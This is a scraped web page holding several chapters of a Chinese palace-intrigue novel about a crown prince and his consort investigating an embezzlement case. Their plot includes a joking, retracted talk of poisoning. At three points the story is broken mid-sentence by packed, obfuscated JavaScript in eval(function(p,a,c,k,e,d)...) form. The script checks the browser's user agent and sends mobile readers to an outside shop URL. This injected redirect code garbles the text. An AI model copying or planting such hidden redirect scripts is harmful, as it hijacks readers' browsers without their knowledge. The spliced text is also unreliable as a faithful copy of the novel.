d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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林若华顿了顿,又道:“不知是演技过人,还是真的对我与四皇子之间的矛盾毫不知情。” “她是毫不知情,甚至萧大鹏她都未曾亲自抚养过。钱嫔的问题是钱家导致的,原本钱家送来的不是她,不过父皇并不在意。” 说起四皇子,萧玄鹤直呼其名,毫不客气。 林若华明白过来,没有再追问。 “我是问你。”萧长离语气放缓,目光温和地看着林若华。 “我?”林若华揉脸的动作一顿。 “你昨夜醉了。”萧长离说得直接。 林若华:“……” 她还以为这事就这么揭过去了。 “往后若不得不饮酒,记得事先用些解酒之物。”萧长离无奈道。 “嗯,好。”林若华放下手,抬眸看他,轻声回应。 她犹豫了一下,决定换个话题:“对了,青霉素的研制已经完成了,但还没有试验过,不知道效果怎么样。” 萧长离道:“这么快?” “材料齐全的话,工序并不复杂。”林若华解释,“只是条件有限,提纯不够,剂量也要小心些。最好先在动物身上试试。” 萧长离沉吟片晌,便说:“交给我吧。我有可靠的人手处理这些。” 林若华点点头。 萧长离忽然又道:“过两天你回林家,我陪你去。” 林若华一愣:“你陪我回去?这么隆重合适吗?” 萧长离唇角勾起一抹浅笑:“最近可有不少人找上了我那位好岳父。我若不走这一趟,怎么引得那些人现身?更何况,母后不是想让你风风光光回去打脸吗?带上我更合适。” 林若华想起原剧情,再次皱起眉头,神色凝重地问道:“是因为那件事吗?” 萧长离颔首,目光深沉:“对。” 按时间推算,下一个剧情点就要开始了。 42. 凤凰 泰安二十一年,秋冬都格外寒冷。 这一年,发生了两桩震动朝野的大事。 第一桩,是中元节那日,太子萧长离竟在京城近郊遭前朝余孽伏击,重伤不治身亡,举国震动。 第二桩,是曹州堤坝,决堤了。 堤坝溃决,向来多发于夏季,大雨滂沱,河水暴涨之时。 可这一年偏偏发生在冬季,曹州大堤毫无征兆地溃决了。 百姓们毫无准备,房屋田产被尽数淹没,更可怕的是严寒接踵而至,逃过水灾的百姓缺衣少食,冻死者不计其数。 灾情未平,瘟疫又起,尸体处理不及,疫情开始蔓延,一时间曹州境内哀鸿遍野,如同鬼域。 消息八百里加急传回京城,朝堂之上,皇帝震怒的吼声几乎掀翻了大殿的屋顶。 “冬季决堤!朕的工部是养了一群饭桶吗?” 文武百官噤若寒蝉,没人敢在这个时候触霉头。 工部尚书已经跪在地上,额头上冷汗涔涔。 三皇子萧玄鹤就在这时站了出来。 “父皇,儿臣愿往曹州彻查此案,定要给百姓一个交代。” 皇帝盯着萧玄鹤看了半晌,终于挥了挥手:“准了。” 萧玄鹤到了曹州才发现,情况远比想象中严重。 而在这一片惨状背后,是当地官员与士绅勾结,贪污治河款项,以致堤坝偷工减料,不堪一击。 “所以,我提前收集证据,安排人参了田有方贪污,田既明眼下急得四下奔走,前几日已找上林兴业。”萧长离拎起茶壶,为林若华与自己各斟一盏。 曹州知州田有方,乃工部左侍郎田既明的长子。 这田既明也不是别人,正是当时林兴业为了攀附,差点将林若华送过去的那位老上峰田大人。 林若华接过他递来的茶盏,举起一饮而尽,轻轻舒了口气后,又自己倒了一杯。 她今天连口水都没来得及喝。 “着急?田既明哪里是担心宝贝儿子才上蹿下跳,分明是怕火烧到自己头上。”林若华放下茶盏,眉头微蹙,“我还在林家时,竟然不知道田既明上门。看来贪官与渣爹已经开始密谋一些见不得光的事了。” 田既明此人,在工部侍郎的位置上坐了十几年,手脚从未干净过。 曹州堤坝,工部拨银十万两,实际用到工程上的不足八千两,其余尽数进了贪官污吏的口袋。 “拔出萝卜带出泥,田既明肯定逃不掉。不过,我总觉得他背后还有人。”林若华沉吟片刻,又道。 原剧情里,曹州案最终只查到田既明为止,他被定为贪污案主犯,以一己之身扛下了所有罪责,最终满门抄斩,曹州当地一批官员伏法,案子便匆匆了结。 可如今,真实的世界远比剧情复杂得多。 单凭一个工部侍郎,真能一手遮天,犯下如此滔天血案吗? 萧长离抿了口茶,语气淡然:“不错,单凭一个工部侍郎,未必有能力吞下那么大一笔修堤款项,还把事情做得如此干净,可如今缺乏凭证。” 一想到背后还有更大的黑手,林若华坐不住了,起身在殿内缓缓踱步。 昨日才入东宫,她还未曾好好看过这个地方。 正殿宽敞明亮,陈设奢华大气。 一侧的书架上整齐摆放着典籍,另一侧陈列着古董玉器。 墙上挂着两幅字画,林若华在其中一幅画前停住脚步。 画中是一只凤凰栖于梧桐,凤凰羽毛绚丽,栩栩如生。 整幅画画功精湛,意境超然,看得出作者功力深厚。 画旁题有一行字,骨力遒劲。 没有落款,也没有印章,不知是何人所作。 “‘非梧桐不止,非练实不食,非醴泉不饮’”林若华念出画上题字,转身问萧长离,“这是你画的吗,长离?” 萧长离的目光也落在那幅画上,摇了摇头,露出一个有些微妙的笑意:“不是我。是之前招揽的一位谋士所赠。此人才学是有的,就是颇有性格。” 他顿了顿,补充道:“我给了他一个东宫府丞的虚职挂着。” “有性格?多有性格?”林若华饶有兴致地摸了摸下巴,又看向那只带着睥睨眼神的凤凰,倒真有几分不食人间烟火的傲气。 “一会儿他来了,你便知晓。”萧长离卖了个关子。 话音未落,殿外突然传来喧哗之声。 “让开,你们让本官进去!哎呀,反了天了,你们凭什么拦我?殿下——太子殿下——是臣啊,您快看看臣!臣有十万火急之事要禀报啊!” 这声音嘶哑,带着哭腔,像是受了天大的委屈,却中气十足,伴随着推搡拉扯的动静。 萧长离眉梢轻轻一挑,笑意加深了些:“哦?说曹操,曹操到。咱们这位有性格的谋士来了。” 林若华的好奇心被彻底勾了起来,也转身望向门口。 这动静,可不像是寻常属官求见。 两人走到门边,萧长离伸手,拉开了门。 门外,一个身影正用力试图冲破苏南与凌北的阻拦,门突然打开,他收力不及,差点一头撞进萧长离怀里。 幸亏凌北眼疾手快,拽了他一把。 凌北有些尴尬地松开手,对萧长离抱拳:“太子殿下,任大人他非得闯进来,属下……” 苏南冷冷地瞥了凌北一眼,没说话。 她刚才本已准备用点手段让这聒噪的老头安静,却被凌北拦下了。 萧长离的目光扫过凌北和苏南:“你们两个,还拦不住一个不会武的文官?” 凌北连忙低头:“属下失职。” 这任大人虽然疯疯癫癫,可毕竟是太子府丞,真伤了他也不好。 这时,林若华才看清了地上那人。 说是文官,却没穿官服,身上套着件洗得发白的粗布麻衣,脚上一双破旧草鞋,头发只是胡乱用一根木簪别着,大半散落下来。 看年纪约有六旬,面容清瘦,颧骨略高,若是此刻没有那满脸的鼻涕眼泪,配上这身打扮,倒真有几分仙风道骨的隐士味道。 这位任大人一见萧长离现身,也顾不得仪态,连滚带爬地扑过来,一把抱住了萧长离的腿,放声哀号:“殿下,我的太子殿下啊!臣今日冒死前来,又要忠言逆耳了。古人云,红颜祸水,此乃千古至理!妺喜裂帛,妲己狐媚,褒姒烽火戏诸侯,皆是前车之鉴!如今东宫……” 他哭声一顿,扭头愤愤然地瞪向萧长离身边的林若华,剩下的话虽未出口,但意思再明显不过。 萧长离脸上那点残余的笑意慢慢消失了,丹凤眼眯起,动了动腿,想将这胡搅蛮缠的老头甩开。 还没等萧长离开口,众人就听林若华说道:“大人,你这话说得不对。怎么能把江山倾覆的责任全推到女子头上呢?再说了,你这比方打得也不对,把太子殿下比作那些亡国的……” “昏君”二字尚未出口,地上的任大人也顾不上哭了,吓得魂飞魄散,一下子从地上弹起,伸手就想扑过去捂住林若华的嘴:“住口,休得胡言!我何时将殿下比作……” 萧长离终于忍无可忍,手臂一伸,抓住任大人的后衣领,将这位瘦削的老臣毫不客气地往正殿内一拽。 “哎哟!”任大人惊叫一声,再次摔在地面上。 萧长离冷着脸,对门口的凌北丢下一句:“看好门,不许任何人靠近。” 凌北一个激灵,连忙躬身:“是!” 大门再次关上。 萧长离走回椅子前坐下,瞧着趴在地上哼哼唧唧的人,不耐道:“继续唱啊,怎么不唱了?任来凤。” “任来凤?噗——”正在打量任大人的林若华听到这名字,一个没忍住,笑出了声。 她赶紧用手捂住嘴,但依旧眉眼弯弯。 任来凤正揉着摔疼的胳膊,闻声抬头,老脸涨得通红,也顾不上疼了,冲着林若华道:“太子妃娘娘,臣的名字有何可笑之处?” 林若华清了清嗓子,勉强压下笑意,指了指墙上的画,转移话题:“没,没什么。我是看墙上那幅凤栖梧桐,画得极好,栩栩如生。方才还以为是意指殿下。原来,是任大人你的自画像啊?怪不得题了‘非梧桐不止,非练实不食,非醴泉不饮’,原来是大人高洁自许,志向不凡。” 长离是凤凰,而来凤这个名字更加直白,再配上题句,林若华心中已了然。 萧长离说得不错,此人果然有趣。 任来凤像是被人掐住了脖子,脸上一阵红一阵白,指着林若华:“你、你、你……”“你”了半天,他又转向萧长离,换上了一副委屈悲愤的表情,哭诉道:“殿下啊,您看看!太子妃娘娘刚来,就要挑拨离间,离间我们君臣啊!殿下!” 萧长离面无表情道:“要不要孤让人在院子里搭个戏台子,你再上去慢慢唱?” 任来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这大概就叫做戏精本精。 萧长离轻哼一声,早已见怪不怪。 任来凤不再理会林若华,对着萧长离禀报道:“殿下,不出您所料。田既明那老匹夫,今日又悄悄去了林府,与林兴业密谈了将近一个时辰才离开。看这架势,是铁了心要把水搅浑,想把殿下您也拖下水。” 他也并不避讳林若华。 “嗯,继续。”萧长离颔首,让任来凤继续说下去。 “我们安插在林家的人传出消息,田既明这次,是想为他的第四子提亲,求娶林家二小姐,太子妃娘娘您的妹妹。”任来凤说到这里,特意看了林若华一眼。 “田既明打的算盘是,一旦两家结为姻亲,便成了利益捆绑。届时他若东窗事发,林家必然受牵连。朝廷查案时,或许就会投鼠忌器,担心牵涉过广,影响殿下。” 林若华暗叹,林兴业这个爹怎么老想着把女儿卖给上峰田大人啊。 “那依你看,此事当如何应对?”萧长离问他。 任来凤眼中寒光一闪,声音压低,带着狠辣:“殿下,田家四子是个纨绔,常出入烟花之地。不如我们寻个机会,给他下点东西,让他缠绵病榻,或者干脆一命呜呼。如此一来,婚事自然作罢,一了百了。” “太子妃,你觉得呢?”萧长离又问林若华。 任来凤没料到萧长离会征求林若华的想法,也看向她。 林若华眉头紧蹙,沉吟片刻,缓缓摇头:“不妥。” 任来凤胡子一翘,刚要开口反驳,说她妇人之仁,却听林若华继续说。 “对田家四子下手,田既明必然警觉。他此刻如同惊弓之鸟,稍有风吹草动,都可能让他狗急跳墙。打草惊蛇,得不偿失。” 她顿了顿,又道,“田既明不止这一个儿子。就算废了老四,他还有儿子,他完全可以让其他儿子来娶。我们总不能把他所有儿子都毒一遍吧?” 任来凤下意识摸了摸自己的胡子,问道:“那太子妃娘娘有何高见?” 林若华的目光落在任来凤捻着胡须的手指上,突然想到了另外一个爱捻胡须的人,缓缓道:“过两日我回林府归宁,不如,就趁这个机会将我爹毒死,如此一来,我妹妹便须守孝三年,我们就有充足时间彻查贪墨案。” 任来凤捻胡须的手僵住了,嘴巴微微张开。 好家伙。 半晌,任来凤才干巴巴地挤出一句:“太子妃娘娘,这、不好吧。” 林若华忽然一笑,笑容十分明媚:“任大人,我开玩笑的。” 任来凤:“……” “臣也是玩笑的。”任来凤不服气地回了一句。 萧长离配合地笑出声。 殿内外充满了快活的空气。 43. 归宁 林若华抬手掀开车窗帘,望向后方长长的仪仗队。 放下帘子后,萧长离对她道:“既然要引蛇出洞,声势自然要浩大些。” 林若华微微颔首,随后又想起前两日的事:“那天任来凤任大人连口茶都没有喝就溜了。” “你打得他措手不及,他也未料到你会是这样的太子妃。”萧长离轻笑。 当然,无论是毒死哪个,最后都没有实施。 两人说话间,已到林府门前。 林家早早接到消息,一家子整整齐齐在门口迎接。 林兴业激动得不能自已。 他躬着身迎上来,声音都带着哽咽:“臣林兴业恭迎太子殿下、太子妃娘娘。太子殿下亲临,实在是林家之幸啊!” 萧长离神色傲然:“林大人不必多礼。” 林兴业直起身,眼眶都红了:“太子妃娘娘在宫中可还习惯?” “一切都好。”林若华随意回道,目光转向叶氏。 叶氏上前一步,握住她的手:“好孩子,可算回来了,母亲可日夜都惦记着你。” 她虽然平日里也挂着假笑,但不知为何,此刻的笑容特别假,假得有失水准。 林若华不动声色地抽回手,转向一旁盛装打扮的林洛瑶。她今日穿了一身艳红长裙,裙摆用金线绣着大朵牡丹,极像是林若华上次拿走的那件。 算算时间,林洛瑶下个月就要及笄了。 她正悄悄抬眼看向萧长离,脸颊飞过两片红晕。 显然,对林兴业要将她卖给田家的事一无所知。 “林大人,不如我们去书房说话?”萧长离负手而立,脸上却有些不耐。 “是是,殿下请。”林兴业忙不迭引路,临走前还对叶氏使了个眼色。 叶氏会意,对林若华笑道:“若华,咱们母女也屋里说说话可好?我让人备了你爱吃的点心。” 林若华点头,随叶氏往内院走。 林洛瑶并未跟上她们,而是悄悄去了另一边。 到了叶氏房中,丫鬟奉上茶点后退下,月季、杜鹃等人也留在门外,房内只留下三人。 房门一关,叶氏自顾自坐下,端起茶盏抿了一口,也不招呼林若华。 林若华也不在意,在叶氏对面落座。 “这里没有外人,你若是不想笑,就不必勉强了。”林若华直接开门见山,叶氏这个样子看着也别扭。 叶氏闻言,笑容立刻垮下,放下茶盏,瞥了一眼站在林若华身后的苏南:“你说得对,这里只有你我,还有你的心腹侍女。反正该听的不该听的,她都听过了,我也不必再辛苦地装什么温良恭俭、贤良淑德了。” 林若华:“?” 这说的好像是她的词啊。 “哼,你命好,”叶氏继续道,带着掩不住的酸涩,“太子殿下对你情深义重,不仅特准了归宁,还陪着你一起来做脸。只是不知道这份情深能持续多久?东宫不可能永远只有一位女主人,总有一天,太子也会纳妾。” 她说这话时,眼中满是恶意,像是已经看到将来林若华伤心的模样。 林若华微微蹙眉。 她对这位继母的性格还算了解。 从前叶氏虽然厌恶她,但至少表面功夫做得足,是什么让她连最后的一点伪装都懒得维持了? “母亲,你……” “别叫我母亲了。”叶氏打断她,嘴角扯出一个讽刺的弧度,语气冷淡,“我知道你很讨厌我,这也正常。我本也想对付你,可后来发现,你根本不在意林家的一切,包括你爹在内,你通通不在乎。我才明白,撼动不了你了。既然相看两厌,就像你说的,何必再演下去?现在讨好你也来不及了,不如就这样吧,大家都痛快些。” 林若华仔细观察叶氏的神色,发现她眼下的乌青,即使用脂粉也遮盖不了憔悴。 林若华沉默片刻,问出心中疑惑:“我不知道你为何笃定太子一定会纳妾。你看父亲,他虽然对不起我娘,但对你也算过得去,这些年不也没纳妾吗?” “呵呵。”叶氏笑声讽刺,眼中涌起怨毒,“那是因为他以前无权无势,还顾及到叶家。你看,你刚嫁入东宫当晚,他就迫不及待对我说,想要纳几房妾室,说什么林家不能绝后,要延续香火。他从前可是说过,就算只有瑶儿一个女儿,他也心满意足。” 叶氏模仿着林兴业的语气:“那是当年,现在我是太子妃的父亲,未来的国丈!国丈怎能没有儿子?” 她说到最后,透出咬牙切齿的恨意:“男人的承诺就是放屁!你父亲如此,太子殿下将来也会如此。权势越大的男人,越不可能守着一个人。” 叶氏不再维持贵妇人的姿态,竟爆起粗口来。 “所以呢?父亲的房中事,我管不着,也不想管。至于太子殿下,不劳母亲费心。” 林若华对叶氏可同情不起来。 而萧长离,她现在对上萧长离那是一团乱麻,找不到头绪。 林若华暗自叹了一口气。 叶氏自嘲一笑:“你当然管不到,你猜他看中了谁?” 林若华没有接话。 叶氏眼睛泛红,又道:“梅儿、兰儿、竹儿、菊儿,就是我之前给你准备的那四个陪嫁丫鬟。我自然不同意,寻了个由头将她们打发了出去。你父亲为此大发雷霆,他说我善妒,说我故意断他林家香火,说要休妻。” 林若华静静地听着。 林兴业薄情,也不是这一日两日了,只是看着叶氏这副模样,她忽然觉得有些讽刺。 “想开一点,我娘连休妻的机会都没有。”林若华语气平静。 叶氏嘴角一抽,竟不知该如何反驳。 “你……”叶氏张了张口,最终什么也没说。 就在这时,门外传来一阵女子的哭喊声。 “太子妃娘娘,太子妃娘娘,请您救救奴婢吧!” 林若华与叶氏同时被声音吸引,看向门外。 林若华起身,与苏南走到门口,苏南拉开房门查看。 只见一个女子正拼命想要冲进来,被两个婆子死死拉住。 那女子抬头时,林若华认出了她,林洛瑶身边的木儿,上次见面还是陪林洛瑶一起去赴六公主的赏花宴。 此刻的木儿头发散乱,脸上满是泪痕,眼中充斥着绝望,见到林若华,挣扎得更厉害了。 “等一下。”就在木儿快要被婆子拖下去时,林若华开口。 婆子们动作一顿,迟疑地看向叶氏。 叶氏脸色阴沉,但还是挥了挥手,婆子们放开木儿,退到一旁。 木儿踉跄着扑到林若华面前,跪下后不住磕头:“好心的太子妃娘娘,求求您救救奴婢吧!奴婢真的不能做老爷的妾室,奴婢是有未婚夫的啊!” 她的额头重重磕在地面上,发出沉闷的响声,几下便见了血。 林若华眉头紧皱:“别磕了,你慢慢说,到底怎么回事?” 木儿抬起头,血混着泪水从额头流下,令人于心不忍。 “奴婢、奴婢不愿做老爷的妾……” 木儿抽泣着,断断续续道,“奴婢是有未婚夫的,我们从小一起长大,定过娃娃亲的,奴婢被卖进府里这些年,他一直等着我。我们拼命攒钱,好不容易凑够了赎身的银子,他马上就要来接我了,可是、可是夫人要把奴婢给老爷做妾,奴婢和阿实哥等了五年,就盼着能团聚成婚。若是做了老爷的妾室,奴婢这辈子就毁了,阿实哥他也会活不下去的!” 她的话颠三倒四,但林若华听明白了。 木儿五年前父母双亡,被叔婶卖入林府。 她与邻家青梅竹马早有婚约,这些年两人省吃俭用,终于攒够了赎身钱和返乡的路费。 未婚夫已在来京的路上,不日就能接她回家成亲。 林若华心中一沉,立 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16937828|184823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刻猜到了前因后果,林兴业想纳妾生子,叶氏不愿找年轻貌美的威胁自己地位,便选中了木儿这样长相普通,性子老实,娘家无依无靠的丫鬟。 既能堵住林兴业的嘴,又不怕她翻出什么浪花。 一股怒气自心底升起,林若华转头看向叶氏:“这是怎么回事?” 叶氏神色有些不自然,强辩道:“不过是一个丫鬟,能为林家开枝散叶,总好过嫁给一个乡下汉子过苦日子。” 林若华不再看叶氏,对木儿温声道:“你放心,今日我既然在这里,就不会让这种事发生。我放你出府,让你与未婚夫团聚。” 林若华让月季扶她起身,再次转向叶氏,伸出手:“木儿的卖身契。” 叶氏脸色难看,但碍于林若华的身份,只得吩咐嬷嬷去取。 不多时,一张契书递到林若华手中。 林若华将卖身契递给木儿:“这个你收好,今日起,你就是自由身了。” 木儿颤抖着手接过,又想跪下来磕头,却被月季扶住。 林若华让月季安排人,又塞给木儿一张银票:“这个你拿着,算是我给你们的新婚贺礼。我让人送你出府,先安排你在客栈住下,等你未婚夫来接你,便与他好好过日子吧。” “娘娘的大恩大德,木儿此生没齿难忘。奴婢来世做牛做马也要报答!”木儿泣不成声,语无伦次地说着,眼中重新燃起了希望。 林若华微微点头,木儿这才跟着月季离开。 目送她们远去,林若华回身看向叶氏,叹了一口气:“木儿与你女儿一样大。” 叶氏没有言语。 林若华也不再多言,带着苏南、杜鹃以及剩下的侍女走出叶氏的院子。 刚出院门,走到小花园,便见萧长离站在一棵金黄的银杏树下,还有一片银杏叶,不知何时落在了他的肩头。 而令林若华意外的是,林洛瑶竟也在不远处,低垂着头站在阴影里,身子微微发抖,不知是冷的还是怕的。 林若华没有理会她,径直走向萧长离:“谈完了?” 萧长离微笑着点头:“嗯,我们回去吧。” 二人并肩往府外走。 林洛瑶这时忽然抬起头,眼中蓄满泪水,欲言又止地看着他们。 林府门外,车马仪仗已准备就绪。 林兴业匆匆赶来相送,脸上堆满谄媚的笑:“太子殿下这就要走了?不多坐会儿?” “宫中还有事务要处理。”萧长离淡淡道,扶着林若华上了马车。 车帘放下,林府渐渐远去。 车厢内,林若华想起林家人的所作所为,开口道:“我记得在原剧中,林家是全家流放。” 萧长离正在剥橘子,闻言抬头:“哦?” 原剧中一笔带过的结局,太子被害,虽然没有证据证明与林若华有关,但皇帝盛怒之下,还是将林家全家流放西北。 林若华又道:“现在想想,也不算是冤枉,看看他们做的这些事。” 萧长离将一个剥好的橘子递到她眼前,笑道:“所以我今日给林兴业下了剂猛药。我告诉他,田既明的儿子最近被御史参了一本,可能会牵连到田既明。我许诺会帮他运作,让他接替田既明的位置。先让他们狗咬狗吧。” 林若华接过橘子,拿在手中,没有吃:“你想让他们狗咬狗?” 萧长离又从竹篮中拿出下一个橘子,开始剥起来:“林家人的确烦人,等解决了田既明,我再想办法送他们去西北吃沙子。” 林若华问道:“他们会如你所愿斗起来吗?田既明在朝中经营多年,树大根深,林兴业未必是他的对手。怕是没那么容易坐收渔翁之利。” “所以啊,在那之前就得快点把田既明解决掉。” 萧长离凑近了些,低声道,“若华,你不是说想去看看其他地方的景色吗,想不想离开京城一段时间?” “嗯?” 44. 商队 十月十五日,正是下元节。 天灰蒙蒙的,瞧着要下雨。 虽还未至寒冬,但沿途草木已见凋零之色。 官道上,一支由二十六人组成的商队正在赶路。 前头两辆马车,一辆坐着东家夫妇,一辆坐着账房先生,后面跟着五辆满载货物的大车,车上装的皆是京城特产的皮料、药材和各式衣裳,准备运往曹州贩卖。 五名镖师打扮的汉子骑马护在车队四周,镖师们个个身手矫健、眼含精光,明眼人一看便知是身手不凡的练家子。 一阵寒风吹过,卷起官道上的尘土,两旁枯黄的草丛也跟着沙沙作响。 最前方的马车车窗帘忽然掀开,一个眉眼如画的女子探出头来,她挽着寻常的妇人髻,戴着一支颇为富贵的桃花玛瑙金簪。 女子朝前望去,见一红衣公子正悠闲地骑在马上,手中折扇轻摇,与身旁的镖师谈笑风生,全然不觉寒意。 “表哥——”女子冲前方骑马的红色身影喊道,“外头风大,你别和镖师们一起骑马了,快来马车里来坐坐。” 红衣公子闻声回头,只见他一双桃花眼满含笑意,眉目间自带三分风流。 他朝马车方向一笑,扬声应道:“好咧,表妹!” 说罢利落地翻身下马,把缰绳抛给身旁的镖师,几步便跨上了马车。 谁知刚进车厢,方才还温言软语的表妹瞬间变了脸色:“大冬天骑马还摇着扇子,装风雅,染了风寒我可不会给你治病。” “这才刚出京城八十里,你就穿着红衣骑着马,这般招摇,生怕别人认不出你是谁?你可要弄清楚,如今你是靠着表妹夫我过活的,就该老实安分些,表、哥。”一旁身穿宝蓝缎子袄,却丝毫不掩贵气的表妹夫似笑非笑地接话。 红衣公子脸上的笑意还未来得及收起,想要开口辩解,表妹已转头问丈夫:“所以夫君,我们为何非要带上表哥一起去曹州呢?这一路山高水远,带上他多个麻烦。” “呵,还不是他自己在家里要死要活的,他爹实在看不过眼,求到了我爹那儿,我爹这才松口,让他随我们一同出来历练历练。”表妹夫语带讥讽。 “他靠得住吗?别路上惹出什么乱子。”表妹迟疑道。 “我也觉得信不过,路上找个机会杀了便是,荒郊野岭的,少个人也不会有人察觉。”表妹夫嘴角勾起,这笑容一看就知不怀好意。 “好主意。”表妹竟点头附和,“什么时候动手?我刚看到前面有片林子,那里就不错。” 夫妻俩一唱一和,说得有板有眼。 红衣公子:“……” 他脸上玩世不恭的笑容僵住了,嘴角抽了抽,指了指自己:“喂,我还在这里坐着呢,我全都听到了,两位。” 夫妻俩齐齐转过头看向他。 表妹眨了眨眼,面露惊讶:“呀,表哥你还在呢?我还以为你早下车了。” 表妹夫则低笑一声:“呵。” 红衣公子:“……” 红衣公子二话不说,转身又溜下了马车。 林若华收起玩笑的神色,掀开车窗帘一角,望着叶景谦往后走去的背影,眉头微蹙:“按照狗血套路,这次出行怕是不会顺利,肯定要出事啊。” “那是自然。父皇一口气放出三个大诱饵,总得钓上些什么。”萧长离回道。 林若华转头看他:“三个?你、我,还有叶景谦?我也算一个?” “当然。” 萧长离解释:“前朝余孽潜伏多年,如附骨之疽。若能借此行查出地方上的蛀虫,再顺藤摸瓜揪出几条前朝的大鱼,父皇自然龙颜大悦。” 他顿了顿,安抚道,“放心,此次随行的都是精锐,镖师、车夫和杂役都是禁军中千挑万选的好手。” 果然,老皇帝不会这么简单就相信她,林若华想到。 她压下思绪,又问:“不过叶景谦真要与我们一起去曹州?按理说,他应该待在京城的,在家里要死要活,难道与六公主的婚事有关?” “正是。”萧长离颔首,“镇国公其实也不愿结这门亲。得知此事后,他便向父皇恳求,说叶景谦顽劣不堪,需外出历练方能成熟。镇国公也是舍得,明知此行危险,仍将独子送来,既表了忠心,又暂缓了婚事。” “叶景谦不愿意娶六公主,那你说这次行程,他会不会……” 林若华尚未说完,车帘再次被掀开,红衣公子去而复返,恰好听见后半句。 “会不会什么?”叶景谦一边笑嘻嘻问,一边大喇喇地重新坐下。 萧长离脸色一沉,朝外冷声道:“凌北。” “属下在。”车外传来凌北恭敬的声音。 “下次再让不三不四的人随意闯进来,你就下车去和马一起走路。” “是。”凌北欲哭无泪地应答。 他瞥了眼身旁面无表情的苏南,心中叫苦:方才不是太子妃唤叶世子进来的吗?怎么一会儿又不让了? 苏南连个眼神都懒得分给他。 叶景谦不知何时又掏出折扇,不服气地摇了摇:“哎,谁是不三不四的人?我可是太子妃正儿八经的表哥。” “孤诛你九族都诛不到我家太子妃头上。”萧长离眼皮都不抬。 叶景谦:“……” 罢了罢了,谁让这是太子呢? 想起离京前老头子千叮万嘱,务必听从太子吩咐,不可惹是生非。 他叶景谦岂是不知轻重之人? “不过表哥,你怎么又回来了?”林若华转移话题。 叶景谦斜倚在车厢内壁上,手中扇子摇得飞快,苦笑道:“别提了,也不知太子殿下从哪儿找来的这位账房先生,实在聒噪得很。我一进去,他就拉着我说这账不对,数目有问题,我说又不是真找他来算账的,他就说个没完,我说一句,他能回十句,唾沫星子都快喷我脸上了!我现在耳朵里还嗡嗡响呢。” 林若华忍不住捂嘴轻笑。 任大人果然厉害,连叶景谦都吃不消。 叶景谦瞧见她偷笑,挑眉问道:“对了,表妹方才说我会不会什么?莫不是在背后说我坏话?” 林若华放下手,脸上仍带笑意:“我说你这次行程,会不会遇到心仪之人。” 毕竟原剧情中,萧玄鹤就是在曹州遇见女主的。 只是现在时间提前,谁也说不好。 叶景谦闻言, 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她上下打量叶景谦,目光从那双桃花眼移到骚包的红衣,再落到那把折扇上,最后回到叶景谦的脸上。 “朱小姐性子温柔喜静,且琴棋书画样样精通,与表哥你玩世不恭的性子怕是合不来。” 林若华说完,又莞尔一笑,道:“倒是我想起一人与你极为相配,我妹妹下月便要及笄了。她性子活泼,也爱开玩笑,年纪又与你相合,况且妹妹私下里还念叨你这位表哥呢,你看如何?” 叶景谦一听,手里的扇子险些没拿稳。 林若华那位无才无德的妹妹,才是他正儿八经、八竿子才打得着的远房表妹。 当年在六公主的赏花宴上,他也曾远远见过一面。 那小小年纪,便仗势欺人的模样,令他印象深刻。 叶景谦扯了扯僵硬的嘴角:“这个,我还是更偏爱温柔似水的女子。像是二表妹那般泼、活泼开朗的性子,怕是与我不太合适,告辞告辞!” 话音未落,他已再次掀帘而出,逃得比方才还要快。 刚踏出车厢,便听见身后传来林若华与萧长离毫不掩饰的笑声。 叶景谦无奈地摇摇头,随即下了马车。 他站在冷风里,抬眼望去,官道很长,一望无际。 两旁是枯草,远处是树林。 寒意透过衣衫渗进来,让他不由自主打了个寒战。 “多事之秋啊……”叶景谦喃喃自语,转身朝第二辆马车走去。 罢了罢了,他还是去和那位聒噪的账房先生挤挤算了。 至少那位老头子只会念叨账目,不会惦记着给他乱点鸳鸯谱。 天空还是灰蒙蒙的,不知为何,他心头总有些许不安。 这趟曹州之行,怕是要多灾多难了。 叶景谦刚靠近第二辆马车,就听到里面传来喋喋不休的声音:“这笔账不对,绝对不对!十五两六钱银子买的火狐皮,怎么记成了十六两?还有这车马费,明明说好是一天二钱,怎么成了三钱?哎呀呀,世风日下,人心不古啊。” 叶景谦:“……” 他是不是想多了。 45. 顺利 紧赶慢赶,一行人也走了半月有余。 这一路上倒是太平,既未遇着拦路抢劫的山匪,也没碰上难缠的地头蛇。 已是黄昏,城门守卫正懒洋洋地倚在门洞边,见有车队过来,才慢吞吞直起身来。 “哪里来的?路引呢?”一个中年守卫拦住去路。 凌北从怀中掏出早已准备好的路引递了过去:“京城来的商人,姓林,这是我们家老爷夫人。” 守卫仔细瞧了瞧,又扫了眼车队,两驾马车,五辆装着货物的大车。 他点点头,将路引递回:“进城后早些寻住处,夜里别乱走动。” “谢过官爷。”凌北笑着应道,塞了几块碎银过去。 守卫掂了掂,脸上这才露出笑意,挥手放行。 马车驶入城内,传来人群的喧闹声。 街道两旁,卖烧饼的小贩正吆喝着,这是最后一锅饼子,棉布店的伙计在收拾门前的货摊。 虽不及京城的繁华,却别有一番热闹景象。 林若华透过车窗帘一角往外看,只见百姓们穿着虽不算光鲜,但也齐整干净。 她放下帘子,转头对萧长离低声道:“城里的老百姓看上去日子过得还不错。真没想到,当地官员贪污会如此严重。” 萧长离正闭目养神,闻言睁开眼睛:“曹州自古富庶,又商贾云集,自然比别处繁华些。当年父皇登基后,确实斩杀了一批作恶多端的官员,只是,终究不可能将天下贪官尽数斩尽,就算新提拔上来一些,贪腐之风依旧屡禁不止。” 他顿了顿,又道,“所以这次,父皇给了我先斩后奏之权,必要之时,还可调动地方驻军。” “他给了你这么大的权力?” 如今只是得知曹州官员有贪腐之嫌,堤坝没有垮塌,瘟疫也没有爆发,尚未酿成剧情中那样惨烈的灾祸。 